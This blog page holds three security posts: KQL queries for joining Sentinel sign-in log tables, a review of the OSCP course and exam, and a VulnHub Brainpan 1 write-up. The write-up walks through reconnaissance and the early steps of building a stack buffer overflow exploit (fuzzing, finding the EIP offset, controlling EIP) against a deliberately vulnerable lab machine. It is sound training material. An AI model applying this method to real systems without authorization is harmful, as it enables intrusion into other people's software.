Michael Thelen

Parsing Interactive and Non-Interactive Sign-In Logs with Microsoft Sentinel

hello@isroot.nl (Michael Thelen) — Wed, 23 Mar 2022 00:00:00 +0100

Microsoft Azure Active Directory differentiates between different sign-in types when a user authenticates. For example: Azure Active Directory differentiates between an “interactive” sign-in request and a “non-interactive” sign-in request when a user logs in.

An “interactive sign-in request” happens when user authenticates with a username and password and optionally a multi-factor authentication token. Another way of saying this is that an interactive sign-in happens if a user logs in by using a keyboard “interactively”.

A “non-interactive sign-in request” happens when a user authenticates with a saved or cached credential from a previously authenticated session. For example: a browser session that was previously authenticated interactively and is now authenticated because of the cached credential. In this case the user is already authenticated and does not have to provide a username and password interactively.

When you connect Azure Active Directory sign-in logs to Microsoft Sentinel with the “Azure Active Directory Sentinel connector” the interactive sign-in logs and non-interactive sign-in logs are stored in different tables. For interactive sign-ins this table is called “SigninLogs” and for non-interactive sign-ins this table is called the “AADNonInteractiveUserSignInLogs” table.

Why is this Important?

Knowing that Azure Active Directory differentiates between sign-in types and that Microsoft Sentinel stores the sign-in logs in different tables is important when investigating sign-in related incidents from products like “Azure Active Directory Identity Protection” because any one table does not tell the whole story. Querying both tables individually and comparing the results gives a more complete picture but can become annoying rather quickly if tasked with investigating large amounts of incidents on a daily basis.

Querying the SigninLogs Table

For example you can query the “SigninLogs” table with the following KQL query which by default will give you the sign-in events of the last 24 hours. On line two we sort the results by “TimeGenerated” in descending order.

1
2


SigninLogs
| sort by TimeGenerated desc

The output will look something like the screenshot below. The results are cumbersome to navigate and are almost impossible to investigate or analyze quickly.

Querying the AADNonInteractiveUserSignInLogs Table

Alternatively you can query the “AADNonInteractiveUserSignInLogs” table in the same way with the following KQL query.

1
2


AADNonInteractiveUserSignInLogs
| sort by TimeGenerated desc

The new query will overwrite your old results if ran from the same tab. On top of that the output of this query is equally cumbersome to navigate, investigate and analyze. While you are able to open multiple tabs to run multiple queries and compare results there is an easier way.

Querying both Tables in Microsoft Sentinel

Querying both tables at the same time gives a more complete picture of the sign-in history and is easy with KQL by using the “union” operator. While still cumbersome to navigate, investigate and analyze the union operator does combine the results of both tables together in a single output.

1
2


union SigninLogs, AADNonInteractiveUserSignInLogs
| sort by TimeGenerated desc

As you can see the union operator joined both tables together and the results for both are displayed in the same output. You can distinguish which result comes from what table by looking at the “Category” column.

Projecting Useful Columns

Now we know how to combine both tables but the current output is still not very friendly to navigate, investigate or analyze. With the “project” operator in the following KQL query we can select the columns we want to see and display some useful information to make navigation, investigation and analysis more pleasant.

1
2
3


union SigninLogs, AADNonInteractiveUserSignInLogs
| project TimeGenerated, UserPrincipalName, IsInteractive, ResultType, IPAddress, Location, AppDisplayName, ClientAppUsed, UserAgent
| sort by TimeGenerated desc

With the query above we can quickly see if the sign-in is interactive or not, see the “ResultType” of the sign-in, in this case 0 which is successful. We can also see the “IP address” used to sign-in as wel as the “location” the user logged in from and “application” that the user logged into.

Projecting Additional Columns

Both the SigninLogs and AADNonInteractiveUserSignInLogs table have columns with additional information that can be beneficial while investigating or analyzing sign-in related incidents. The “DeviceDetail” column for example: holds information about the “deviceId”, “operating system” and “browser”.

With the KQL query below we will query the “SigninLogs” table and parse the “DeviceDetail” column with the “extend” operator. We then “project” some useful information from this column such as the Operating System and Browser used when the sign-in took place.

1
2
3
4


SigninLogs
| extend DeviceDetail
| project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
| sort by TimeGenerated desc

However when we try to perform the same query while joining the tables together with the “union” operator we get the following error.

1
2
3
4


union SigninLogs, AADNonInteractiveUserSignInLogs
| extend DeviceDetail
| project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
| sort by TimeGenerated desc

Querying Additional Columns from both Tables

When we look at the KQL code, specifically line two where we extend the DeviceDetail column there seems to be an error. Looking at code completion for the “DeviceDetail” column it becomes clear why. Both tables store the data in the “DeviceDetail” column in a different way. Looking at the documentation of the SigninLogs table the data in the DeviceDetail column is stored as a “dynamic type” while the AADNonInteractiveUserSignInLogs table stores the data in the DeviceDetail column as a “string type”.

Projecting both DeviceDetail Columns with Iff

Now we known that both columns store the data in a different format and we can not join both tables together with a the “union” operator if we do not handle this. To handle columns with a different data type in the same KQL query the “iff” function can be used.

In the query below we will leverage the “iff” function to evaluate if the “DeviceDetail_dynamic” column is empty or not with a “true” or “false” statement. If the column is not empty the statement will evaluate as “false” and the column exists. If however, the column is empty and does not exist it evaluates as “true” and the query will parse the “DeviceDetail_static” column instead.

1
2
3
4


union SigninLogs, AADNonInteractiveUserSignInLogs
| extend DeviceDetail = iff(isempty(DeviceDetail_dynamic) == true, parse_json(DeviceDetail_string), DeviceDetail_dynamic)
| project TimeGenerated, UserPrincipalName, IsInteractive, DeviceDetail.operatingSystem, DeviceDetail.browser
| sort by TimeGenerated desc

As can be seen in the screenshot below the “DeviceDetail” column is parsed for both tables and displays the Operating System and Browser used when the sign-in took place.

Completing the Query to do Something Useful

Now that we know how to handle the “DeviceDetail” column with different data types we can make a more optimized and useful query. In the following query we will join both tables together with the “union” operator and parse several columns with useful information to aid in investigation and analysis. The columns used in this query are:

DeviceDetail
LocationDetails
MfaDetail

On top of adding useful information from the above columns we will add two variables “upn” to target the sign-in logs of a single user account and “timeAgo” which is set to query the sign-in logs of the past seven days. The code is commented for convenience.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


// Define the variable for the UserPrincipalName of the user account to investigate
let upn = "user@example.com"; // The UserPrincipalName of the user account. Example: user@example.com
// Define the variable for the timespan
let timeAgo = ago(7d); // The time to look back. Example: 7d, 7h
// Join both tables together with the union operator
union SigninLogs, AADNonInteractiveUserSignInLogs
| where TimeGenerated > timeAgo
| where OperationName == "Sign-in activity" // Filter on Sign-in activities
| where Category == "SignInLogs" or Category == "NonInteractiveUserSignInLogs" // Filter the category of logs
| where UserPrincipalName == upn // Filter on UserPrincipalName
// Extend and handle the DeviceDetail column
| extend DeviceDetail = iff(isempty(DeviceDetail_dynamic) == true, parse_json(DeviceDetail_string), DeviceDetail_dynamic)
// Extend and handle the LocationDetails column
| extend LocationDetails = iff(isempty(LocationDetails_dynamic) == true, parse_json(LocationDetails_string), LocationDetails_dynamic)
// Extend and handle the MfaDetail column
| extend MfaDetail = iff(isempty(MfaDetail_dynamic) == true, parse_json(MfaDetail_string), MfaDetail_dynamic)
// Project useful information for investigation and analysis
| project TimeGenerated, UserPrincipalName, AuthenticationRequirement, MfaDetail.authMethod, IsInteractive, ResultType, IPAddress, LocationDetails.countryOrRegion, LocationDetails.city, AppDisplayName, DeviceDetail.operatingSystem, ClientAppUsed, DeviceDetail.browser, UserAgent
| sort by TimeGenerated desc

This query comes in handy when investigating sign-in related incidents and will give some useful information to work with for our analysis.

Conclusion

KQL in essence is a an easy language to start with especially if you have a background in either PowerShell or SQL. Knowing how to query multiple tables, parse different data types and project relevant information is a useful skill to have and aids in daily investigation and analysis.

Offensive Security Penetration Testing with Kali Linux Review

hello@isroot.nl (Michael Thelen) — Mon, 12 Aug 2019 00:00:00 +0100

Offensive Security’s Penetration Testing with Kali Linux (PWK) course is one of the most recognized ethical hacking and penetration testing courses within the information security industry. It made a name for itself and did so for good reason.

The course is known to be very practical, hands-on, and equal parts frustrating as well as difficult. Offensive Security does not want you to just know the theory, they want you to develop and demonstrate practical ability. Because of this the PWK course is not for everyone as the time commitment and persistence needed to pass can be off-putting for some individuals.

Offensive Security has a well-known mindset often expressed in two words that you will become quite familiar with sooner rather than later. Try Harder while sometimes misunderstood is as much a mindset as it is a motto and statement of encouragement. With the PWK course they try to instil this mindset in their own unique way.

Plan Comparison

Offensive Security offers the PWK course in three plans.

Each plan includes the 350+ page course guide, several hours of video content and an attempt at the Offensive Security Certified Professional (OSCP) exam. The only difference between the plans is the amount of time you have access to the student lab where you can practice the course exercises, develop your methodology and penetration testing skills.

While initially purchasing the course lab access can be purchased for thirty, sixty or ninety days, an exam voucher can also be purchased separately in case you fail the exam on your first attempt. Take note however that it is not possible to just purchase an exam voucher, you have to purchase the PWK course before you are allowed to take the OSCP exam.

After initial purchase lab access can be extended in fifteen, thirty, sixty- or ninety-day increments offering a flexible way to extend if you feel you need more time to progress through the student lab.

When purchasing I opted for ninety days of lab access giving me plenty of time to work through the course materials and also spend a good amount of time within the student lab.

Registration and Purchasing

Offensive Security has a rather meticulous process for individuals that want to purchase the PWK course, using an application process that starts by filling out the student application form. When submitted you will receive an email from Offensive Security stating the course prerequisites, information about the course material, student lab and pricing. It also includes a unique course registration link should you decide to purchase the course.

When you enrol Offensive Security will verify your identity by using the email address you provided. In case email identity verification fails they will contact you and ask for an alternate email address or a copy of your passport or driver’s license.

If you want to avoid sending them a copy of either document you should use an email address containing your name and use a domain name owned by you, your employer or a university you attend to increase the chance of identity verification through email. Free email addresses such as Outlook, Gmail or Yahoo will not suffice.

For some reason Offensive Security was not able to verify my identity and they asked me for additional information. This process was very straight forward and it only took them a few hours to verify my additional details before I could enrol in the course.

Once your identity is verified you will receive a post registration email containing a link to a custom version of the Kali Linux operating system that Offensive Security recommends while working through the course materials and exercises. It also contains detailed information on how to perform a VPN connectivity test to the student lab. If the VPN connectivity test is successful you can proceed to make payment for the course.

When payment is received Offensive Security sends one more email confirming registration and also lists your start date for the PWK course. They will include a personal purchase link so you do not have to go through the registration process again if you wish to purchase other Offensive Security courses or a lab extension.

As stated before Offensive Security has their own meticulous process for individuals that want to purchase the PWK course. During the enrolment process they provide a lot of information about the course to make sure you know what you are getting yourself into.

Be advised that a waiting list of four to six weeks is not unheard of. Please keep this in mind if you want to enrol.

The Course Content

On your course start date you will receive an email containing several links to download the course guide, accompanying videos and a VPN connectivity pack to connect to the student lab. The email also contains information on how to connect to the student lab control panel and your personal virtual machine. This virtual machine is used for a multitude of course exercises and can come in handy while developing or testing exploits.

The course guide is split up in an introductory module, seventeen modules on penetration testing and the penetration testing process and a bonus module that combines all the content in an action-packed real-world penetration test for your entertainment and to solidify understanding. If you want more details on the course guide and what it covers the syllabus can be found here.

I appreciate that the course begins with the basics of Kali Linux and an introduction to scripting in both Bash and Python while following up with some essential tools like Netcat and Wireshark. For some this might be boring stuff but as the course is also geared towards less experienced individuals I really appreciate they put this in.

The exercises contained within the first few modules really help you feel more at home on the command line and make sure you know some of the tools that make up the swiss army knife of network troubleshooting and by extension penetration testing all without making it too complex to understand. While overlooked by many Netcat and Wireshark are incredibly versatile tools in your arsenal and skipping this part of the course is doing yourself a disservice in the long run.

The material also includes basic information gathering and enumeration techniques for various services before getting into the more exciting stuff such as stack based buffer overflows, privilege escalation, client side attacks and port redirection and tunnelling.

The modules on stack based buffer overflows and client side attacks while daunting at first are probably my favourites within the course along with the port redirection and tunnelling module. While it is hard to wrap your head around the last one when you first read through the module it all comes together once you start practicing it in the student lab. Understanding the techniques explained in this module opens up a world of possibilities. Once mastered you will never look the same way at that firewall or network design again.

While it is tempting to jump straight into the more interesting looking modules or skip the course material all together and jump straight into the student lab I recommend against this unless you are an experienced penetration tester. The content is very well laid out and beginning with the first module and working through it until the end is probably the best course of action for beginners.

The Videos

The videos accompany the course content very well and are usually short and to the point focusing on the task at hand without adding fluff. This is ideal if you want to reference something later as you do not have to skip through long videos to find what you are looking for.

Some of the trainer’s dry comments after successfully completing an exercise or task are also quite hilarious and once you heard them you start to appreciate them throughout the remaining video content. They will make you laugh more than once in the eight hours of video available.

The Exercises

There are plenty of exercises spread throughout the course material, some easier than others and most of them depend on access to either your virtual machine or the student lab.

I highly recommend doing the exercises as they solidify your understanding and help you to get to know the lab environment and some of the vulnerable machines within it. This will give you a starting point to compromise your first machines. If you do decide to jump straight into the lab and become frustrated with your progress go back to the course material and exercises as you are in over your head.

The exercises can also be appended to a lab report should you decide to make one which is advisable because it gives you the opportunity to earn five additional bonus points for the OSCP exam.

The Lab

The student lab is the bread and butter of the PWK course and a living environment containing various different operating systems and vulnerable software.

The lab also spans several different networks and contains multiple automated users and machines that are dependent on one another in such a way that some of them cannot be compromised without valuable information found elsewhere in the lab. Contrary to popular belief this lab is not just a Capture the Flag with to goal to get root or system level privileges as fast as possible and move on, approach it as such and you are going to have a bad time.

While working through the lab you start to notice a lot of care has been taken to put it together and develop it. There are several well placed hints for those who are looking and while most of the systems and software are a bit older and exploits are readily available this lab is still no walk in the park. Offensive Security has its own methods to add a little twist here and there making sure you start thinking out of the box instead of just firing off exploits and winning.

Like many others before you, you will encounter your fair share of frustration, mental breakdowns and sometimes start to question your sanity while on your travels through the lab. The feeling when you finally do root that box or find that valuable piece of information to move forward after days of trying is an incredible feeling though.

While tempting to save time, money or both completing only part of the student lab while probably enough to pass the exam is a waste. If you have not compromised several boxes in the multitude of adjacent networks along with a substantial portion of the student network I highly recommend extending your lab time, not because you could not pass the exam, you probably could but because there are so much more valuable lessons to learn.

The lab is quite addicting and once you complete the course and the OSCP exam you start to miss it. While you can go back to complete those machines you did not compromise after completing the OSCP exam you probably won’t so take your time in the lab leaving no stone unturned!

The Lab Report

If you value the five bonus points mentioned earlier you are encouraged to document and report the findings of your lab adventures back to Offensive Security in a professional lab report. The lab report should contain your findings and a walk-through including proof of no less than ten compromised machines. Each machine should be compromised through a unique vulnerability. Using the same vulnerability twice on different machines will not count. The lab report should also contain documentation on all of the course exercises as an appendix.

In the end I did not submit a lab report with my exam documentation mostly due to reasons stated below. If you decide not to submit the report for the five bonus points I still highly recommend documenting ten machines while using the template Offensive Security provides as it is good practice for the reporting portion of the exam. You do not want to start figuring out the template and reporting requirements after you just had a gruelling twenty-four-hour exam and need to document your findings.

Study Method

My study method during the course followed a simple approach:

Watch the video of a certain piece of content
Read the content in the accompanying course guide
Do the exercises referencing the video and guide where needed
Make notes where needed for later reference

Combining all the course material in this way worked well for me and made sure I was not getting bored doing just one part of the materials. In some cases, I went a bit beyond the exercises and tried my luck in the student lab attacking a box here and there.

In the beginning of the course I made sure to go back to the approach mentioned above, the lab is addicting though and I spend more and more time in the lab neglecting the last few exercises I had left. While I don’t regret this, it did result in several hours of frustration on boxes that I could have compromised in a lot less time had I followed my own approach above and did the exercises.

It also resulted in the decision to not submit a lab report with my exam documentation as I ran out of lab time to finish the remaining exercises losing out on the five bonus points that could be earned.

Study Tips

Let me start by stating the following very important piece of advice: The PWK and the road to OSCP is a journey not a destination. For most the journey will not end with obtaining the OSCP certification if you want to pursue a career in this field. Do not hurry through this course, put in the time and effort to give yourself a solid foundation, you will be glad you did in the end.

Adding to the above statement the most valuable skills you will develop during this course are not how to compromise boxes nor will you learn the latest hacking techniques instead the most valuable skills you will develop are methodology and mindset. They will stay with you for the rest of your career and are incredibly valuable.

If you are new to this field you will get stuck somewhere eventually and feel defeated or frustrated about your progress on a box, the lab in general or how your methodology is failing you. This is normal and will teach you valuable lessons. Failing is part of learning and being stuck on a box for hours or sometimes even days is not a shame nor a problem. Remember the try harder mindset, embrace it and in time you will progress through the lab cracking it box by box, user by user and network by network.

While some advice to avoid the student forums I am not a fan of this advice. You cannot look for or educate yourself on topics or techniques you don’t know even exist and sometimes a little hint is all you need to start your search in the right direction and see that path forward to solve the challenge that lays before you. I will advise however to use the forums sparingly and as a last resort as most of what you have to know really is in the course guide and accompanying videos.

A more intuitive way to use the student forums is to gain information on other ways to compromise a target once you have the highest privileges possible. If you look well enough and read between the lines you can often get a glimpse into minds and methods of your fellow students and most likely learn something new from those perspectives.

Learning to document and make notes is a skill you will develop while working through the course materials and the lab. If I look back at notes of the first boxes I compromised they were honestly not all that good compared to later in the course. While following a template such as this one is a very good way to kickstart your documentation and note taking methodology refining it towards your own preferences as early as possible is a very good idea and worth putting time and effort in.

Knowing the above here is some more advice you should take to heart:

Enumerate, enumerate, enumerate! Did I say enumerate?
Become comfortable with and learn to pivot in the labs
Stuck in the lab? You probably did not enumerate enough!
Work on your documentation immediately after compromising a machine
Do not skip the exercises if you are just getting started in this field
Stuck on a box for hours? Skip it and come back later, it might very well have a dependency
Document ten or more boxes, even if you do not want to submit a lab report. It is valuable practice for the exam
Take your time in the student lab, gaining experience from all the boxes is the most valuable part of the course
Spend some time looking through a box once you fully compromised it, there might be information you can use to your advantage
Take some time in the lab to develop your documentation and reporting skills like hacking boxes it is part of what you have to learn

Exam Proctoring

In July of 2018 Offensive Security announced exam proctoring for the OSCP exam. While this decision was received with mixed feelings by the information security community I am of the opinion that it is the right decision if strengthens the integrity of the OSCP exam and certification in the long run.

I did my OSCP exam on the 30th of May which means I was subject to a proctored exam. Overall the process was very straight forward. Before starting the exam, you have to turn on your webcam by way of navigating to a website and start a webcam session so the proctors can monitor you and your surroundings.

You also have to install a program so the proctors can view all your connected screens. The proctors will verify your identity by checking your passport through the webcam and ask you to show the room in which your will perform your exam. Once al pre-exam verification is completed the proctors will release your exam and you will receive your exam information and exam VPN connectivity pack by email. All this takes about fifteen to twenty minutes so make sure you are ready about half an hour before your exam starts.

In the beginning of your exam it is a very strange feeling to be continually watched. I felt more at ease after an hour or so and a couple of hours in you won’t even notice someone is monitoring your every move. The proctors are very polite and professional and some of their names (they use aliases) are pretty funny to see once they pop up in the chat window.

While you are performing your exam, you can take breaks as much as you want, as long as you want. You can also sleep during the exam. All as long as you inform the proctors when you are going on a break and when you come back. They will sometimes ask you to refresh the webcam page, for me this was usually after I came back from a break so it did not interrupt my exam experience in a negative or meaningful way.

I would strongly advice against it, as you need your focus on the exam but having a significant other, children or other family members of the household in the room while you are performing your exam is also not a problem, just inform the proctors so they know in advance.

The Exam

I have a whole lot of mixed feelings about this exam, it is long, it is exhausting, it is frustrating at times. It is an emotional roller coaster when you get your first shell, when you root a box and simultaneously get a slap in the face because you get stuck for several hours on another one and bang your head against your desk because you do not see a solution for the problem while it is most likely right in front of you.

On the other hand, looking back at all of it, it was very doable in the twenty-four hours Offensive Security gives you and in the end I even had some time to sleep and double, even triple check my documentation to make sure I had everything needed to write my exam report the next day.

Box One

I started my exam at exactly 14:00 GMT immediately focusing my attention on the box known to have a stack based buffer overflow vulnerability, developing my Proof of Concept and exploiting the machine while making my documentation along the way.

I practiced the BoF process till I could do it with my eyes closed and the time invested paid off big time as I submitted the proof to the exam control panel around 16:00 compromising the box in about two hours flat and the added benefit that a substantial portion of my documentation was already done.

Box Two

After this I focused my attention on the second high point box and while I identified a possible entry point rather quickly I could not get it to work at first. After about an hour and a half of trying my moral was down and I started to focus my attention on the lowest point box.

Box Three

This box was a fun challenge. After some through enumeration I found an exploit for a piece of software. With some fiddling and trial and error I was rewarded for my efforts and submitted proof of my success to the exam control panel around 19:30.

Box Four and Five

After compromising the low point box morale was up and I started enumerating both middle of the pack point boxes looking for a clue on which box I should focus my attention next. Something on one of the boxes caught my eye and I started to focus on it while my enumeration kept running on the other box.

Box Four

Hello enumeration, my old friend! My true and trusted methodology was the only thing saving my ass while taking on this box.

I am sure I would have failed the exam had I not trusted in it religiously after it helped me countless times in the labs. The box finally fell around 22:00 and I submitted the proof with a big smile on my face in the exam control panel.

Box Two (Again)

With two boxes to go and a hunch for a shell on the second high pointer I started to poke at it once again and around 23:00 I gained a shell on the box.

I tried escalating privileges for about an hour but with three boxes rooted and a low privilege shell on this one I decided to notify the proctors that I was going to get some sleep and called it a night around 00:00.

Box Five

I woke up around 05:00 in the morning knowing what I had to do. I took some coffee and told the friendly proctors who were waiting for me that I was back at it.

Having compromised three boxes and with a low privilege shell on the second high pointer I quickly reviewed the enumeration I started on box five the night before and decided to use my Metasploit attempt. Partly because I saw no added benefit to use it on the second high pointer and also because I wanted quick results on box five.

I could not suppress my excitement when the box stopped resisting my almost perfectly planned efforts. He was done for, I won! I submitted the proof of my endeavours with box five around 06:30 realising I had enough points to pass.

Box Two (Attempt Three)

With four boxes rooted and a low privilege shell on the second high pointer I started trying to escalate privileges on this box again. After banging my head against this for several hours without results I decided to accept my defeat and started focusing on my documentation instead.

I went through the BoF again triple checking everything. Collected my payloads and the commands used to compromise the other boxes, tested them again and made sure I had all the proof and screenshots needed.

At 12:00 I checked everything again and was tired enough to ask the proctors if I could end my exam early. They were polite and understanding, asked me if I was sure, I confirmed and thanked them for staying with me all this time.

I went for a quick sleep, knowing I most likely passed if I did not screw up royally on my documentation efforts.

The Exam Report

When I woke up just a few hours later I started documenting all my findings. I used a modified version of the Offensive Security report template that I mostly prepared in advance and already contained the documentation on my efforts with the BoF box so I only had to fill in the blanks on the other boxes.

I kept refining the report and checked time and time again if it fit the reporting requirements almost paranoid to make a mistake. I finally submitted the exam report at 09:30 on the 1st of June. Offensive Security sent a confirmation they received my documentation about two hours later, and so the waiting game begins!

Confirmation, I Passed

It took Offensive Security a few days to review my exam documentation but on the morning of the 6th of June I finally received that email that I had been waiting for and gives you that incredible feeling of relief, I had passed the OSCP!

Exam Tips

Try to unplug and have a good night’s rest on the day before the exam. Try and get some of those nerves under control on exam day, walk into the exam with confidence, think of it as nothing more than the lab where you spent all those hours learning what you know.

That said I can’t stress enough how important having a solid methodology is to passing this beast. Religiously develop, document and refine your methodology while doing the course exercises and during your time in the labs. Whatever you do during the exam, stick to your own tried and true methodology. No last-minute changes in tools, modifications to scripts or documented enumeration commands. Stick to what you know, when you grow frustrated, tired or feel down during the exam it is the only reliable friend you can depend upon.

Some people prefer to start early in the day and go at it for hours, others like to start a bit more towards the middle of the day or late at night. All I can say here is pick a time that works for you. When I scheduled my exam, I took a time slot starting at 14:00 GMT. I intended to have three blocks of eight hours to do the practical part of the exam without disturbing my normal sleep pattern too much.

14:00 > 22:00 Exam
22:00 > 06:00 Sleep
06:00 > 14:00 Exam

This left me with sixteen hours to compromise the boxes and while I obviously did not succeed in keeping the exact schedule above it still helped me to get a couple of hours of sleep. I am convinced this helped me think clearly the next day with my attempts on box five.

Some other important things to keep in mind:

Take regular breaks and drink enough water
This is a battle of enumeration, leave no stone unturned
Sleep! Trust me just do it even if it is only a few hours
Take your time for the buffer overflow, triple check everything
Save any payload commands you use, you need them for your report
Do not fear proctoring it is not as bad as you think or read online
Take proof screenshots immediately after gaining a user or root shell
Submit the proof flags in the control panel immediately once you obtain them
Enjoy the exam, like the lab it is a really fun challenge once you get your nerves under control
Prepare a template penetration test report that you can use to document during and after the exam

Also remember that failing is part of learning and while it is an awesome feeling to pass on the first try in the worst case you fail, learn something from the experience, refine your methodology and come back stronger and more prepared to try again!

Conclusion

The PWK course might be somewhat outdated in the opinion of some and while there might be some merit or truth to this statement I am a firm believer that one should have a firm grasp of the basics and a solid foundation first and foremost.

In my opinion the course succeeds in laying this foundation, a foundation you can trust and build upon to learn more complex topics faster than you would without it.

Above all else the course not only teaches you technical skills. It also teaches you persistence, mindset and methodology, skills that are of incredible value should you choose to pursue a career in the information security field or any other.

After the PWK course you will never think or look at a computer, computer network or piece of software the same way you did before but always have this little voice in the back of your head looking at it from another angle. How can I break it, how can I manipulate it, how do I get this “feature” to do my bidding instead of taking the way it works for granted.

VulnHub Write-Up Brainpan 1

hello@isroot.nl (Michael Thelen) — Sun, 12 May 2019 00:00:00 +0100

In this long post I write a Python exploit from scratch for the Brainpan 1 vulnerable by design virtual machine from VulnHub. The post is written in a follow along kind of way to document my own buffer overflow process and in an attempt help others to understand the subject along the way. If you want to try this challenge yourself it can be downloaded here.

The process to develop the exploit in this post will follow the following eight steps:

Tools Used

A Windows host or virtual machine
A Kali Linux host or virtual machine
Immunity Debugger
The Mona Python Script
Python

Enumeration: Netdiscover

Because the VulnHub virtual machines are in a downloadable and self-hosted format the machine gets an IP address from DHCP when it starts. This means that unlike online challenges such as Hack The Box the IP address of the machine is somewhat “unknown” beforehand.

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

The Brainpan 1 machine is hosted on the VMware software so it is safe to assume that the second entry in the list is the target as the MAC Vendor column indicates a MAC address associated with VMware.

Enumeration: Nmap

Running an initial scan with Nmap reveals ports 9999 and 10000 are open.

Running a targeted service scan against ports 9999 and 10000 reveals the Python SimpleHTTPServer and another unknown service running.

Enumeration: Firefox

Visiting the website on port 10000 with the Firefox browser reveals a page with statistics about safe coding practices.

Enumeration: Gobuster

Digging a bit deeper a Gobuster scan reveals an interesting bin directory.

Enumeration: Firefox Continued

Visiting the bin directory with the Firefox browser reveals a downloadable executable with the name brainpan.exe.

Downloading the brainpan.exe file with wget and inspecting it with the file command reveals it is a 32-bit Windows executable file.

Enumeration: Running the Executable

Executing the application on a Windows machine reveals it is a network server waiting for connections on port 9999 indicating we most likely found the application that is listening on this port.

Enumeration: Netcat

Connecting to the application with Netcat reveals a password prompt. Entering a password reveals an access denied message, the application exits the session and returns to the command prompt.

On the Windows command prompt the application shows the password entered and the total amount of bytes copied to a buffer in memory.

Enumeration: Strings

Leveraging the strings utility on the brainpan.exe file reveals an out of place string.

Enumeration: Netcat Continued

Leveraging Netcat to enter the discovered string in the password field reveals it is the correct password. However, like our previous attempt the application exits to the command prompt.

Debugging: Step 1 Fuzzing

Suspecting the brainpan.exe application is vulnerable to a buffer overflow attack a simple Python fuzzer can be written to test this.

The script above creates a string of 100 A characters in the variable buffer, tries to connect to the Windows host on port 9999 and sends the buffer. When done it increments the buffer with 100 A’s and then tries to connect and send the string, which is now 200 A’s again.

The fuzzer will keep increasing the buffer of A’s each time it runs until it can no longer connect to port 9999 which is an indication the application crashed and is no longer accepting connections. The script can be downloaded here.

Running the fuzzer with Python reveals it can no longer connect and shows the crash message when it sends around 600 bytes to the application.

On the Windows command prompt the buffer of A’s is displayed on the screen, followed by the bytes copied message. It is clearly visible that after this action the application exited to the command prompt and is no longer running.

Debugging: Setting Up the Debugging Environment

Now that we know the brainpan.exe application is vulnerable to a buffer overflow attack it is time to configure the debugging environment to help develop an exploit. Make sure to start Immunity Debugger as Administrator, a window looking like the one below should appear.

Take some time to get to know Immunity Debugger. Take note of the file menu, terminate and play buttons and the search button at the top of the screen. Also note the status bar all the way at the bottom. The four windows have distinct functions:

The top left window shows CPU instructions
The top right window shows the status of CPU registers
The bottom left window shows the memory
The bottom right window shows the stack

When Immunity Debugger is started we need to attach the brainpan.exe executable to the debugger to start debugging the application. In the top left menu choose File > Open and navigate to the brainpan.exe executable. When found select brainpan.exe and choose Open.

Immunity Debugger will launch the brainpan.exe application in a paused state as can be seen in status bar at the bottom right corner of the screen.

A Windows command prompt will be launched by Immunity Debugger displaying an empty window for the brainpan.exe application. This is normal because the application is still in a paused state within the debugger and is not running at the moment.

Clicking the play button in the top left will start the brainpan.exe application and display a running status in the status bar in the bottom right of the Immunity Debugger window.

Navigating back to the Windows command prompt we can see brainpan.exe is indeed running and waiting for connections.

Setting up the debugging environment as explained above should be repeated each time a new step in the debugging process is performed or when the brainpan.exe application has crashed.

Debugging: Step 2 Replicating the Crash

We know from fuzzing the brainpan.exe application in Step 1 that it crashes when around 600 bytes are sent. We will replicate this crash while the brainpan.exe application is attached to the debugger to verify what happens.

The script above is a modified version of the fuzzing script and will be used and edited in the remaining steps to develop a working exploit. A variable buffer is created which contains a string of 600 A’s. The script then connects to the application on port 9999 and sends the buffer of 600 A’s. The script can be downloaded here.

Running the python script while brainpan.exe is attached to the debugger and in a running state.

Returning to the debugger the status bar on the bottom of the screen shows an access violation. In the top right window, we see the EDX and ESP register filled with A’s and the EIP register which displays the value 41414141 which is the hexadecimal representation of the letter A stored in the buffer variable. Looking at the stack window in the bottom right of the screen we see that memory address 005FF910 which is ESP is filled with A’s as well.

Returning to the Windows command prompt where brainpan.exe was running we clearly see the buffer of A’s and the action to copy the A’s to the buffer in memory.

Now that the brainpan.exe application is in a crashed state we have to reattach and restart it again to further debug the application. Click the little cross in the top left. When asked to terminate the brainpan.exe process click yes.

Reattach the brainpan.exe application to the debugger by navigating to File > Open and clicking Play like we did in the Debugging: Setting Up the Debugging Environment step. Before continuing make sure the application is in a running state as shown in the bottom right of the screenshot below.

Debugging: Step 3 Finding the Offset to the EIP Register

To control the execution flow of the application it is important to control the EIP register. To gain control of this register the exact offset to EIP has to be found so we can fill it with whatever data we want. The ruby script pattern_create.rb can be leveraged to create a unique string of characters to determine the exact offset to the EIP register.

To do this we copy the 2-crash.py script and modify it with the output of pattern_create.rb. We make the string which will be the new buffer 650 bytes long, a bit bigger than the 600 we got from fuzzing the brainpan.exe application.

Modifying the script 3-pattern.py we add a variable called pattern and fill it with the string created by pattern_create.rb. Furthermore we modify the buffer variable to include the pattern variable we just added. The script can be downloaded here.

Running the 3-pattern.py script with Python.

The debugger again shows an access violation in the status bar at the bottom of the screen and is in a paused state. This time the EIP register is filled with a unique value instead of just A’s. The value in EIP is 35724134 and should be noted for later use.

The companion ruby script pattern_offset.rb can be leveraged to find the exact offset to the EIP register by combining it with the unique value from EIP we noted earlier. Running the script with the -l 650 and -q 35724134 parameters shows an exact offset of 524 bytes.

Make sure to reattach the brainpan.exe application to the debugger by navigating to File > Open and clicking the Play button again as explained in the Debugging: Setting Up the Debugging Environment step. Before continuing make sure the application is in a running state.

Debugging: Step 4 Controlling the EIP Register

To make sure we have the correct offset to the EIP register we will modify the 3-pattern.py script and try to put four B’s in the EIP register. If the offset of 524 is correct running the modified script 4-control-eip.py should display the four B’s in the EIP register instead of the A’s or the unique string from the previous steps. For good measure and clarity, we will pad the buffer variable with some C characters to clearly demonstrate how the buffer variable from our script is represented in memory within Immunity Debugger.

The buffer variable is modified to include 524 A’s then 4 B’s and 122 C’s. 524 + 4 + 122 = 650 keeping our buffer length the same as before. The script can be downloaded here.

Running the modified script 4-control-eip.py with Python.

